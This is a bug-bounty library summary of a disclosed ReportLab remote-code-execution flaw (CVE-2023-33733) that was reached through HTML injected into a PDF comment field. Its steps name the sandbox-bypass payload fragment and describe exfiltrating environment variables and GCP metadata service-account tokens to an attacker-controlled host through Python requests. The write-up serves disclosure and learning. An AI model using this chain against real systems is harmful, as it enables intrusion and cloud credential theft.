# CVE-2023-33733 RCE via HTMLi in reportlab

Unsanitized comment field fed into ReportLab's Paragraph parser allowed a sandbox-bypass payload to execute arbitrary Python, yielding RCE and GCP metadata theft.

- Payout: $4,500
- Severity: critical
- Program: ReportLab
- Credited: Sudhanshu Rajbhar
- Disclosed: 2023-10-18
- CVE: CVE-2023-33733
- Write-up quality: 8/10
- Original: https://github.com/Sudistark/BB-Writeups/blob/main/2023/CVE-2023-33733-rce-via-htmli-in-reportlab.md
- Library page: https://bugbountylibrary.com/r/blog%3Agithub-com-sudistark-bb-writeups-blob-main-2023-cve-2023-33733-rce-via-htmli-in-reportlab-md
- Tags: domain:web impact:data-leak impact:internal-access impact:rce kind:bounty platform:blog sev:critical tech:python technique:recon technique:source-review vuln:command-injection vuln:misconfiguration vuln:rce

**Target:** PDF generation endpoint (ReportLab Paragraph/HTML parser)
**Root cause:** User-controlled comment is interpolated directly into a ReportLab `<para><font color=...>` template without sanitization; ReportLab's color evaluator evals the attribute value, and the CVE-2023-33733 sandbox bypass escapes the restricted eval to reach `__globals__` and `os`.
**Steps:**
1. Submit `<img src=x>` in comment; observe paraparser error revealing ReportLab and unsanitized interpolation into `<para><font color="#484848">{{comment}}</font></para>`.
2. Submit `<img src=https://myhost onerror=alert()>`; error lists attrMap `['height','src','valign','width']`, confirming ReportLab paraparser.
3. Confirm library via callback User-Agent `Python-urllib/3.10`; grep error string in ReportLab source to match `paraparser.py` `getAttributes`.
4. Send CVE-2023-33733 payload in `color` attribute using `orgTypeFun`/`Word` trick to bypass eval sandbox and call `getattr(pow,Word('__globals__'))['os'].system(...)`.
5. curl/wget/ping absent on host; switch to `__import__('requests').get('https://myhost')` via crafted code object to get pingback `python-requests/2.31.0`.
6. Exfiltrate `id` and `/proc/self/environ` via base64-encoded `python3 -c` command executed through `os.system`.
7. Fetch GCP metadata `http://169.254.169.254/computeMetadata/v1/instance/?recursive=true` with `Metadata-Flavor: Google` header and POST base64 result to attacker server; also retrieve service account access_token.
**How found:** Noticed PDF generation endpoint, fingerprinted the library by injecting HTML into the comment field and reading verbose parser errors (`invalid attribute name ... attrMap=[...]`), matched the error string against ReportLab source, then tested the known CVE-2023-33733 payload; absence of pingback was diagnosed by switching from curl to Python requests.
**Exploitation:** Attacker controls the comment field rendered into a ReportLab Paragraph; injecting a crafted `color` attribute triggers ReportLab's eval-based color parser, and the CVE-2023-33733 sandbox bypass executes arbitrary Python in the PDF-generation worker. Since curl/wget/ping were absent, the attacker used Python `requests` to beacon out, exfiltrate environment variables, and query the GCP metadata endpoint for instance data and service-account tokens.
**Escalation:** Chained RCE to cloud metadata access, extracting instance metadata and service account access_token, escalating from web input to cloud credential compromise.
**Insight:** Verbose parser error messages that echo your input and list whitelisted attributes are a direct fingerprint of the rendering library and its version; when shell utilities are missing on a target, pivot to language-native HTTP clients (Python requests) to confirm RCE.
